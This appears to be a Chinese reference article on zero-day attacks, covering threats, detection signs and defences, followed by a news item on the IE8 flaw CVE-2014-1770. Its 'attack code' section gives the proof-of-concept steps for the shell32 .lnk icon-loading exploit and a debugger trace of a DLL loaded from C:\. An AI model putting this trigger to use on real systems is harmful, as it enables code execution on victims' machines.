攻擊威脅
雖然還沒有出現大量的“零日漏洞”攻擊，但其威脅日益增長，證據如下：黑客更加善於在發現安全漏洞不久後利用它們。過去，安全漏洞被利用一般需要幾個月時間。最近，發現與利用之間的時間間隔已經減少到了數天。
利用漏洞的攻擊被設計為迅速傳播，感染數量越來越多的系統。攻擊由之前被動式的、傳播緩慢的檔案和宏病毒演化為利用幾天或幾小時傳播的更加主動的、自我傳播的電子郵件蠕蟲和混合威脅。
人們掌握的安全漏洞知識越來越多，就有越來越多的漏洞被發現和利用。一般使用防火牆、入侵檢測系統和防病毒軟體來保護關鍵業務IT基礎設施。這些系統提供了良好的第一級保護，但是儘管安全人員盡了最大的努力，他們仍不能免遭受零日漏洞攻擊。
發現方法
按照定義，有關“零日漏洞”攻擊的詳細信息只在攻擊被確定後才會出現。以下是當發生“零日漏洞”攻擊時將看到的重要跡象：發源於一台客戶機或伺服器的出乎意料的合法數據流或大量的掃描活動；合法連線埠上的意外數據流；甚至在安裝了最新的補丁程式後，受到攻擊的客戶機或伺服器仍發生類似活動。
防禦方法
預防：良好的預防安全實踐是必不可少的。這些實踐包括謹慎地安裝和遵守適應業務與套用需要的防火牆政策，隨時升級防病毒軟體，阻止潛在有害的檔案附屬檔案，隨時修補所有系統抵禦已知漏洞。漏洞掃描是評估預防規程有效性的好辦法。
實時保護：部署提供全面保護的入侵防護系統(IPS)。在考慮IPS時，尋找以下功能：網路級保護、套用完整性檢查、套用協定“徵求意見”(RFC)確認、內容確認和取證能力。
計畫的事件回響：即使在採用以上措施後，企業仍可能受到“零日漏洞”影響。周密計畫的事件回響措施以及包括關鍵任務活動優先次序在內的定義的規則和規程，對於將企業損失減少到最小程度至關重要。
防止傳播：這可以通過將連線惟一限制在滿足企業需要所必須的機器上。這樣做可以在發生初次感染後，減少利用漏洞的攻擊所傳播的範圍。
“零日漏洞”攻擊對於警惕性最高的系統管理人員來說也是一種挑戰。但是，部署到位的安全護保措施可以大大降低關鍵數據和系統面臨的風險。
攻擊代碼
From:
1. Unzip the files in 'C: \'. Start a DbgView or paste a KD to your VM.
2. Rename 'suckme.lnk_' to 'suckme.lnk' and let the magic do the rest of shell32.dll.
3. Look at your logs.
Tested under XP SP3.
kd> g
Breakpoint 1 hit
eax=00000001 ebx=00f5ee7c ecx=0000c666 edx=00200003 esi=00000001 edi=7c80a6e4
eip=7ca78712 esp=00f5e9c4 ebp=00f5ec18 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
SHELL32!_LoadCPLModule+0x10d:
001b:7ca78712 ff15a0159d7c call dword ptr [SHELL32!_imp__LoadLibraryW (7c9d15a0)] ds:0023:7c9d15a0={kernel32!LoadLibraryW (7c80aeeb)}
kd> dd esp
00f5e9c4 00f5ee7c 000a27bc 00f5ee78 00000000
00f5e9d4 00000020 00000008 00f5ee7c 00000000
00f5e9e4 00000000 0000007b 00000000 00000000
00f5e9f4 00200073 002000e0 0000064c 0000028c
00f5ea04 1530000a 00000000 003a0043 0064005c
00f5ea14 006c006c 0064002e 006c006c 006d002e
00f5ea24 006e0061 00660069 00730065 00000074
00f5ea34 00090608 7c92005d 00000000 00000007
kd> db 00f5ee7c
00f5ee7c 43 00 3a 00 5c 00 64 00-6c 00 6c 00 2e 00 64 00 C.:.\.d.l.l...d.
00f5ee8c 6c 00 6c 00 00 00 92 7c-c8 f2 f5 00 00 17 72 02 l.l....|......r.
00f5ee9c 4b d2 00 00 d8 f2 f5 00-8b d2 a1 7c 00 00 00 00 K..........|....
00f5eeac ac 80 9d 7c 30 d8 0d 00-34 d8 0d 00 b8 d7 0d 00 ...|0...4.......
00f5eebc 9a d2 a1 7c 30 d8 0d 00-c8 f2 f5 00 50 40 15 00 ...|0.......P@..
00f5eecc 50 40 15 00 00 00 00 00-b8 00 92 7c 40 b7 0c 00 P@.........|@...
00f5eedc a8 ef f5 00 41 00 92 7c-18 07 09 00 5d 00 92 7c ....A..|....]..|
00f5eeec c8 f2 f5 00 00 ef f5 00-00 00 00 00 b8 00 92 7c ...............|
kd> kv
ChildEBP RetAddr Args to Child
00f5ec18 7ca81a74 00f5ee7c 000a27bc 00f5f2c4 SHELL32!_LoadCPLModule+0x10d (FPO: [1,145,4])
00f5ee50 7ca82543 00f5ee74 000a27bc 000a27c0 SHELL32!CPL_LoadAndFindApplet+0x4a (FPO: [4,136,4])
00f5f294 7cb56065 000a25b4 000a27bc 000a27c0 SHELL32!CPL_FindCPLInfo+0x46 (FPO: [4,264,4])
00f5f2b8 7ca13714 00000082 00000000 00000104 SHELL32!CCtrlExtIconBase::_GetIconLocationW+0x7b (FPO: [5,0,0])
00f5f2d4 7ca1d306 000a25ac 00000082 00f5f570 SHELL32!CExtractIconBase::GetIconLocation+0x1f (FPO: [6,0,0])
00f5f410 7ca133b6 000dd7e0 00000082 00f5f570 SHELL32!CShellLink::GetIconLocation+0x69 (FPO: [6,68,4])
00f5f77c 7ca03c88 000dd7e0 00000000 0015aa00 SHELL32!_GetILIndexGivenPXIcon+0x9c (FPO: [5,208,4])
00f5f7a4 7ca06693 00131c60 000dd7e0 0015aa00 SHELL32!SHGetIconFromPIDL+0x90 (FPO: [5,0,4])
00f5fe20 7ca12db0 00131c64 0015aa00 00000000 SHELL32!CFSFolder::GetIconOf+0x24e (FPO: [4,405,4])
00f5fe40 7ca15e3c 00131c60 00131c64 0015aa00 SHELL32!SHGetIconFromPIDL+0x20 (FPO: [5,0,0])
00f5fe68 7ca03275 000f8090 0014d5b0 0014a910 SHELL32!CGetIconTask::RunInitRT+0x47 (FPO: [1,2,4])
00f5fe84 75f11b9a 000f8090 75f11b18 75f10000 SHELL32!CRunnableTask::Run+0x54 (FPO: [1,1,4])
00f5fee0 77f49598 00155658 000cb748 77f4957b BROWSEUI!CShellTaskScheduler_ThreadProc+0x111 (FPO: [1,17,0])
00f5fef8 7c937ac2 000cb748 7c98e440 0014cfe0 SHLWAPI!ExecuteWorkItem+0x1d (FPO: [1,0,4])
00f5ff40 7c937b03 77f4957b 000cb748 00000000 ntdll!RtlpWorkerCallout+0x70 (FPO: [Non-Fpo])
00f5ff60 7c937bc5 00000000 000cb748 0014cfe0 ntdll!RtlpExecuteWorkerRequest+0x1a (FPO: [3,0,0])
00f5ff74 7c937b9c 7c937ae9 00000000 000cb748 ntdll!RtlpApcCallout+0x11 (FPO: [4,0,0])
00f5ffb4 7c80b729 00000000 00edfce4 00edfce8 ntdll!RtlpWorkerThread+0x87 (FPO: [1,7,0])
00f5ffec 00000000 7c920250 00000000 00000000 kernel32!BaseThreadStart+0x37 (FPO: [Non-Fpo])
相關新聞
零日漏洞來襲 微軟狠遭考驗
微軟無法在研究人員給定的合理時間裡解決最初在2013年10月發現的IE瀏覽器零日漏洞，因此這個漏洞現在已經正式公開。
惠普零日項目（Zero-Day Initiative, ZDI）是一個在Pwn2Own黑客競技研究團隊。根據他們所發布的一份報告，IE零日漏洞只影響到微軟IE 8。當瀏覽器處理CMarkup對象時，這個漏洞就會暴露無遺。
雖然這個漏洞只影響到IE 8，但是今年2月份在同一個庫中又出現另一個問題，攻擊者可以利用這個漏洞獲得IE 10的本地訪問許可權。對於這個漏洞，微軟在公開宣布這個漏洞之前就發布了一個“修復”工具包。
當用戶訪問一個惡意網站時，就可能觸發當前這個漏洞，如果黑客成功入侵這個漏洞，那么他就可以在受攻擊的主機上遠程執行任何代碼，以及獲得與當前用戶相同的訪問許可權。用戶互動會加劇這個漏洞的嚴重性——通用漏洞評分系統將這個漏洞評定為6.8分。
ZDI報告指出：“然而，在所有情況中，攻擊者可能並沒有辦法迫使用戶查看攻擊者所控制的內容。相反，攻擊者可能不得不用一些手段說服用戶自己主動去操作。通常就是誘導用戶去點擊郵件內容或即時訊息中的一個超連結，從而讓用戶訪問攻擊者的網站，或者誘導用戶打開電子郵件的附屬檔案。”
ZDI指出，他們第一次是在2013年10月份向微軟報告了IE零日（CVE-2014-1770）漏洞，當時是比利時安全研究員Peter Van Eeckhoutte發現了這個漏洞，隨後微軟在2014年2月確認了這個問題。ZDI通常給供應商預留180天的漏洞處理時間，之後他們才會向公眾公開漏洞，這表示微軟在4月份之前都有時間修復這個漏洞。
在這個事件中，微軟實際上有另一個機會在5月初解決這個問題，但是它同樣沒有重視ZDI關於公開這個漏洞的警告。近幾個月來，微軟的安全團隊一直在全力奮戰——他們被迫在本月初發布了一個用於修復另一個IE零日漏洞的編外補丁，其中還特別包含了一個針對目前已經不提供支持的XP作業系統的修復包。
ZDI報告提供了一些處理IE零日漏洞的技術方法，其中包括將IE安全域設定為“高”，或者配置瀏覽器為運行Active Scripting之前彈出提示。或許，解決這個問題的最簡單方法是安裝和運行微軟的增強減災體驗工具套件（Enhanced Mitigation Experience Toolkit），微軟自己也非常希望在補丁發布之前就找到處理零日漏洞的方法。
